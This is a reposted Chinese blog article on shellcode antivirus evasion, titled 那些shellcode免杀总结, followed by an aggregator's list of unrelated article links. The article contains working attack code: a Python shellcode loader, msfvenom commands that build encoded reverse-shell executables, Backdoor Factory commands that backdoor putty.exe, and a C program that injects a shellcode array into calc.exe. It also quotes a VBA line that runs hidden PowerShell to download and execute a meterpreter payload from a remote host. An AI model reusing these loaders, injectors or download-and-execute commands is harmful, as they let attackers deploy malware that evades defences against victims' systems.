<p>shellcode=bytearray(sys.argv[1].decode("hex")) ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))</p> <p>buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)</p> <p>ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))</p> <p>ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))</p> <p>ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))</p> <pre><code> 还有一款编码的工具也好用,安利一下: https://github.com/ecx86/shellcode_encoder 那么这是利用语言对shellcode编码,也可以选择生成的时候对shellcode编码。 举例msfvenom: </code></pre> <p>kali@kali:~$ msfvenom -l encoder</p> <h1>Framework Encoders [--encoder ]</h1> <pre><code>Name Rank Description ---- ---- ----------- cmd/brace low Bash Brace Expansion Command Encoder cmd/echo good Echo Command Encoder cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder cmd/ifs low Bourne ${IFS} Substitution Command Encoder cmd/perl normal Perl Command Encoder cmd/powershell_base64 excellent Powershell Base64 Command Encoder cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder generic/eicar manual The EICAR Encoder generic/none normal The "none" Encoder mipsbe/byte_xori normal Byte XORi Encoder mipsbe/longxor normal XOR Encoder mipsle/byte_xori normal Byte XORi Encoder mipsle/longxor normal XOR Encoder php/base64 great PHP Base64 Encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder ruby/base64 great Ruby Base64 Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x64/xor normal XOR Encoder x64/xor_context normal Hostname-based Context Keyed Payload Encoder x64/xor_dynamic normal Dynamic key XOR Encoder x64/zutto_dekiru manual Zutto Dekiru x86/add_sub manual Add/Sub Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_underscore_tolower manual Avoid underscore/tolower x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder x86/bmp_polyglot manual BMP Polyglot x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/opt_sub manual Sub Encoder (optimised) x86/service manual Register Service x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual Single Static Bit x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder x86/xor_dynamic normal Dynamic key XOR Encoder </code></pre> <p>使用模板和编码器 for example:</p> <p>msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/ plink.exe lhost=1.1.1.1 lport=4444 -a x86 --platform win -f exe -o a.exe</p> <p>msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/ plink.exe lhost=1.1.1.1 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 -platform win -f exe > b.exe</p> <pre><code> Veil中的加密: schelper: Obfuscation: </code></pre> <p>Invoke-Obfuscation -ScriptBlock {echo xss} -Command 'Encoding\1,Launcher\PS\67' -Quiet</p> <pre><code> ![那些shellcode免杀总结](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230526/1545399-20200201111948392-1390314082.png) 关于shellcode编码后执行就点到这里,其他语言也是大同小异,就不多列举了。 上面是一些编码加密shellcode,下面就看看shellcode注入的技巧方式。 ## B)shellcode注入混淆 大多数注入免杀还将shellcode进行了拆分。 拆分这两个字也很好理解,字面的意思上和各位php一句话木马免杀中大体一样,shellcode也好比我们php木马中需要拆分的危险函数名。 shellcode拆分可以把原本特征明显的程序中shellcode进行位置替换,最简单的比如新增加区段填入shellcode并将入口点jmp到shellcode地址最后再跳回原程序开头, 也可以将shellcode分段布在各个code cave中再分段执行,原理可以参考egg hunt shellcode的中的Omelet Shellcode。 举一些注入例子: BDF: https://github.com/secretsquirrel/the-backdoor-factory </code></pre> <p><em>] In the backdoor module [</em>] Checking if binary is supported [<em>] Gathering file info [</em>] Reading win32 entry instructions [<em>] Loading PE in pefile [</em>] Parsing data directories [<em>] Looking for and setting selected shellcode [</em>] Creating win32 resume execution stub [<em>] Looking for caves that will fit the minimum shellcode length of 410 [</em>] All caves lengths: 410</p> <h6></h6> <p>The following caves can be used to inject code and possibly continue execution.</p> <p><strong>Don't like what you see? Use jump, single, append, or ignore.</strong></p> <h6></h6> <p>[<em>] Cave 1 length as int: 410 [</em>] Available caves: 1. Section Name: DATA; Section Begin: 0x5df200 End: 0x665400; Cave begin: 0x65ea07 End: 0x65ec68; Cave Size: 609 3. Section Name: .rdata; Section Begin: 0x66a000 End: 0x66a200; Cave begin: 0x66a013 End: 0x66a200; Cave Size: 493 4. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8203f End: 0xc82308; Cave Size: 713 5. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc82e1c End: 0xc83050; Cave Size: 564 6. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc830eb End: 0xc83718; Cave Size: 1581 7. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc83b64 End: 0xc840fc; Cave Size: 1432 8. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc843ff End: 0xc846c8; Cave Size: 713 9. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc851dc End: 0xc85410; Cave Size: 564 10. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc854ab End: 0xc859d0; Cave Size: 1317 11. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc86557 End: 0xc86b84; Cave Size: 1581 12. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc86fd0 End: 0xc87568; Cave Size: 1432 13. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8760a End: 0xc87a32; Cave Size: 1064 14. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc886af End: 0xc88d58; Cave Size: 1705 15. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8b8b3 End: 0xc8bdd8; Cave Size: 1317 16. Section Name: .rsrc; Section Begin: 0x66a200 End: 0xd33200; Cave begin: 0xc8eaba End: 0xc8ed65; Cave Size: 683</p> <pre><code> BDF中-F参数实现多裂缝注入。 </code></pre> <p>backdoor-factory -f putty.exe -s show backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.15.135 -P 4444</p> <pre><code> shellter: A 选项增加区段注入 Avet: </code></pre> <p>root@kali:/tmp/avet/build# leafpad build_win64_meterpreter_rev_tcp_xor_fopen.sh</p> <p>lhost=192.168.174.134</p> <p>root@kali:/tmp/avet/build# cd ..</p> <p>root@kali:/tmp/avet# ./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh</p> <p>No Arch selected, selecting Arch: x64 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x64/xor x64/xor succeeded with size 551 (iteration=0) x64/xor chosen with final size 551 Payload size: 551 bytes Final size of c file: 2339 bytes ./build/build_win64_meterpreter_rev_tcp_xor_fopen.sh: line 6: ./make_avet: cannot execute binary file: Exec format error avet.c: In function 'main': avet.c:122:15: error: 'buf' undeclared (first use in this function) shellcode = buf; ^ avet.c:122:15: note: each undeclared identifier is reported only once for each function it appears in</p> <pre><code> 除了也可以手动整个进程注入,起一个正常进程注入shellcode 例子: </code></pre> <h1>include "stdafx.h"</h1> <h1>include</h1> <h1>include</h1> <h1>include "iostream"</h1> <p>using namespace std; unsigned char shellcode[] = "\xb8\x72\xd9\xb8\x52\xda\xd8\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1" "\x56\x83\xc2\x04\x31\x42\x0f\x03\x42\x7d\x3b\x4d\xae\x69\x39" "\xae\x4f\x69\x5e\x26\xaa\x58\x5e\x5c\xbe\xca\x6e\x16\x92\xe6" "\x05\x7a\x07\x7d\x6b\x53\x28\x36\xc6\x85\x07\xc7\x7b\xf5\x06" "\x4b\x86\x2a\xe9\x72\x49\x3f\xe8\xb3\xb4\xb2\xb8\x6c\xb2\x61" "\x2d\x19\x8e\xb9\xc6\x51\x1e\xba\x3b\x21\x21\xeb\xed\x3a\x78" "\x2b\x0f\xef\xf0\x62\x17\xec\x3d\x3c\xac\xc6\xca\xbf\x64\x17" "\x32\x13\x49\x98\xc1\x6d\x8d\x1e\x3a\x18\xe7\x5d\xc7\x1b\x3c" "\x1c\x13\xa9\xa7\x86\xd0\x09\x0c\x37\x34\xcf\xc7\x3b\xf1\x9b" "\x80\x5f\x04\x4f\xbb\x5b\x8d\x6e\x6c\xea\xd5\x54\xa8\xb7\x8e" "\xf5\xe9\x1d\x60\x09\xe9\xfe\xdd\xaf\x61\x12\x09\xc2\x2b\x7a" "\xfe\xef\xd3\x7a\x68\x67\xa7\x48\x37\xd3\x2f\xe0\xb0\xfd\xa8" "\x71\xd6\xfd\x67\x39\xb7\x03\x88\x39\x91\xc7\xdc\x69\x89\xee" "\x5c\xe2\x49\x0e\x89\x9e\x43\x98\xf2\xf6\xfa\xdc\x9b\x04\x03" "\xcc\x07\x81\xe5\xbe\xe7\xc1\xb9\x7e\x58\xa1\x69\x17\xb2\x2e" "\x55\x07\xbd\xe5\xfe\xa2\x52\x53\x56\x5b\xca\xfe\x2c\xfa\x13" "\xd5\x48\x3c\x9f\xdf\xad\xf3\x68\xaa\xbd\xe4\x0e\x54\x3e\xf5" "\xba\x54\x54\xf1\x6c\x03\xc0\xfb\x49\x63\x4f\x03\xbc\xf0\x88" "\xfb\x41\xc0\xe3\xca\xd7\x6c\x9c\x32\x38\x6c\x5c\x65\x52\x6c" "\x34\xd1\x06\x3f\x21\x1e\x93\x2c\xfa\x8b\x1c\x04\xae\x1c\x75" "\xaa\x89\x6b\xda\x55\xfc\xef\x1d\xa9\x82\xc7\x85\xc1\x7c\x58" "\x36\x11\x17\x58\x66\x79\xec\x77\x89\x49\x0d\x52\xc2\xc1\x84" "\x33\xa0\x70\x98\x19\x64\x2c\x99\xae\xbd\xdf\xe0\xdf\x42\x20" "\x15\xf6\x26\x21\x15\xf6\x58\x1e\xc3\xcf\x2e\x61\xd7\x6b\x20" "\xd4\x7a\xdd\xab\x16\x28\x1d\xfe";</p> <pre><code>BOOL injection() { wchar_t Cappname[MAX_PATH] = { 0 }; STARTUPINFO si; PROCESS_INFORMATION pi; LPVOID lpMalwareBaseAddr; LPVOID lpnewVictimBaseAddr; HANDLE hThread; DWORD dwExitCode; BOOL bRet = FALSE; lpMalwareBaseAddr = shellcode; GetSystemDirectory(Cappname, MAX_PATH); _tcscat(Cappname, L"\\calc.exe"); printf("Injection program Name:%S\r\n", Cappname); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); if (CreateProcess(Cappname, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED , NULL, NULL, &si, &pi) == 0) { return bRet; } lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (lpnewVictimBaseAddr == NULL) { return bRet; } WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr, (LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL); hThread = CreateRemoteThread(pi.hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL); WaitForSingleObject(pi.hThread, INFINITE); GetExitCodeProcess(pi.hProcess, &dwExitCode); TerminateProcess(pi.hProcess, 0); return bRet; } void help(char* proc) { printf("%s:[-] start a process and injection shellcode to memory\r\n", proc); } int main(int argc, char* argv[]) { help(argv[0]); injection(); } </code></pre> <pre><code> ![那些shellcode免杀总结](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230526/1545399-20200126155256899-970870193.png) ![那些shellcode免杀总结](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230526/1545399-20200126155314648-572192001.png) ![那些shellcode免杀总结](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230526/1545399-20200126155429988-2119395190.png) 注入就举例到这里,思考下如果是hook函数的检测怎么替换呢,可以进行函数替换,比如win api中可以替换VirtuallAlloc的函数就很多: ![那些shellcode免杀总结](https://johngo-pic.oss-cn-beijing.aliyuncs.com/articles/20230526/1545399-20200126204328599-318450700.png) 0x03 技巧组合 上面说了一些技巧,无论是分离中加载器运行shellcode、白利用运行恶意程序,还是将shellcode编码、加密、注入,对免杀都会有一定效果,单一使用某个技巧的话或多或少会有一定的缺陷。 那么将各个技巧结合起来达到最好的效果是我们需要取思考的事情 举个好用的例子: https://github.com/enigma0x3/Powershell-Payload-Excel-Delivery/ 这是就是使用shellcode调用graeber的VBA宏,在内存中执行powershell(可以使用编码),达到后门持久化 </code></pre> <p>Set objProcess = GetObject("winmgmts:\" & strComputer & "\root\cimv2:Win32_Process") objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID</p> <pre><code> </code></pre> <p>C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden C:\PS> $Proc = Get-Process notepad C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose</p> <p>VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM VERBOSE: Injecting shellcode into PID: 4004 VERBOSE: Injecting into a Wow64 process.</p> <p>VERBOSE: Using 32-bit shellcode.</p> <p>VERBOSE: Shellcode memory reserved at 0x03BE0000 VERBOSE: Emitting 32-bit assembly call stub.</p> <p>VERBOSE: Thread call stub memory reserved at 0x001B0000 VERBOSE: Shellcode injection complete!</p> <p>

技巧方法是死的,思路是活,在实际环境下也需要各位师傅将多个技巧结合灵巧的思路达到想要的成果。

文末推个个人博客,欢迎友链

https://www.cnblogs.com/-qing-/

完。

Original: https://www.cnblogs.com/-qing-/p/12234148.html
Author: 卿先生
Title: 那些shellcode免杀总结

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/529603/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 【Javaweb】在项目中添加MyBatis依赖等

    pom.xml 仓库 如果你没有配置阿里云仓库镜像源,可以到这里来找 https://mvnrepository.com/ 如果你配置了阿里云仓库镜像源,可以来这里找 https:…

    Linux 2023年6月14日
    096
  • 操作系统实战45讲 -04 业界成熟的内核架构长什么样

    Linux 系统性能稳定且开源。在很多公司企业网络中被当作服务器来使用,这是 Linux 的一大亮点,也是它得以壮大的关键。 上图中大致分为五大重要组件,每个组件又分成许多模块从上…

    Linux 2023年6月7日
    0116
  • 国庆专属头像一键生成搭建教程,附源码!

    国庆节马上就要来啦! 没有一个像样的微信头像怎么行。 为此小编为大家带来了一款国庆节国旗头像生成源码,有服务器、域名的朋友可以自行下载上传至服务器之后提供给大家使用。 没有服务器、…

    Linux 2023年6月7日
    0110
  • UE4在Windows下交叉编译打包Linux版本

    UE4在Windows下交叉编译打包Linux版本 我使用的是UE4.27.2,Windows 11,项目是一个 纯蓝图项目,所以打包过程没有什么阻碍。 首先上官网下载对应版本的工…

    Linux 2023年6月6日
    099
  • USB转RS232串口应用

    RS232串口是用于数据串行通信传输的标准之一,该标准定义了信号的电气特性和时序、信号的含义以及连接器的物理尺寸和引脚排列。RS232协议规范定义的是DB25接口,实际上大多数RS…

    Linux 2023年6月7日
    0111
  • mac使用brew安装postgresql

    在您的命令行中运行以下命令: brew doctorbrew update安装在您的命令行中运行以下命令:brew install postgres 你也可以指定版本: brew …

    Linux 2023年6月14日
    0119
  • Mysql数据库体系

    Mysql数据库体系如下(手绘): 描述: 1.DBMS:database system management是数据库管理软件,平时我们使用的数据库的全称,是C/S架构(clien…

    Linux 2023年6月14日
    097
  • 用shell抓取某考试试题

    一、背景 最近公司组织考信息安全,但考试机构没有整理出试题,只给了以下几个在线练习的链接,想着用博客整理下题库题型,奈何这个只能用拍照图片,然后用图片转文字的方式太慢,累死个人了,…

    Linux 2023年6月6日
    0100
  • MAC安装redis

    一、安装命令使用mac的包管理工具brew一行命令搞定安装。若未安装brew,命令行先输入以下命令安装brew。 /usr/bin/ruby -e “$(curl -f…

    Linux 2023年5月28日
    096
  • 磁盘管理操作

    磁盘管理操作 虚拟环境centos7.3 fdisk用法:fdisk [选项] 一、磁盘分区 1.在做磁盘分区之前关闭虚拟机添加一块20G的磁盘。 添加之后记得点下面的确定可以应用…

    Linux 2023年6月7日
    0111
  • 你真的了解JAVA中对象和类、this、super和static关键字吗

    作者:小牛呼噜噜 | https://xiaoniuhululu.com计算机内功、JAVA底层、面试相关资料等更多精彩文章在公众号「小牛呼噜噜 」 Java对象究竟是什么? 创建…

    Linux 2023年6月6日
    0107
  • Go函数下篇:defer和闭包

    package main import "fmt" func work() int { num := 10 defer func(i int) { i += 2…

    Linux 2023年6月7日
    089
  • 时钟周期,机器周期和指令周期

    有些概念没有搞清楚,基础不牢呀。 保持更新;https://github.com/yaowenxu posted @2022-02-16 16:18 xuyaowen 阅读(42 …

    Linux 2023年6月14日
    098
  • MySQL — 数据查询语言

    DQL 全称 Data Query Language。数据查询语言,用来查询数据库中表的记录。 语法: select 查询列表(字段、常量、函数、表达式) from 表名; 字段别…

    Linux 2023年6月8日
    090
  • cpp-base

    1.cin&cout 2.两种注释方式 //注释方法1,’//’。用于单行注释 /* 注释方法2, 用于多行注释 */ &#x7279;&#x522B;&a…

    Linux 2023年6月7日
    0102
  • 需求分析到软件设计复习

    什么是需求分析? 需求分析就是需求分析师对用户期望的软件行为进行表述。 谁来表述 -> 需求分析师 谁有期望-> 用户 期望什么?-> 期望的软件行为 怎样表述?…

    Linux 2023年6月8日
    097
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球